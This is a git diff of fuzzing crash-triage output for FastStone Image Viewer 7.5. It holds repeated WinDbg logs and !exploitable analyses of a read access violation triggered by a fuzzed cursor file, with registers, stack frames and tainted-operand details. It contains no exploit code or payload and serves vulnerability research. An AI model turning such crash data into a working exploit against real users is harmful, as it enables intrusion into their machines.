+BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/30331/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/30331/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..a460ff6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/30331/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/31937/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/31937/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/31937/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/31937/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/31937/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..c058592 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/31937/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/31937/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/31937/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..f9a6ecd --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/31937/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,191 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x51C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x51C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(51c.1260): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=003fed2d ecx=07f77b10 edx=00003879 esi=ff230010 edi=0fce4fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.769194549449606240000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 2.310187100000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=5.99252e-027 5.71323e-008 2.14092e+038 -43.674 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08058130 07fd5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002c5000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002c5000 1cdf2479 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a5 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002c5000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/31937/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/31937/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..f9a6ecd --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/31937/WindowsDebugEngine_description.txt @@ -0,0 +1,191 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x51C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x51C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(51c.1260): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=003fed2d ecx=07f77b10 edx=00003879 esi=ff230010 edi=0fce4fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.769194549449606240000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 2.310187100000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=5.99252e-027 5.71323e-008 2.14092e+038 -43.674 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08058130 07fd5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002c5000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002c5000 1cdf2479 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a5 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002c5000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl 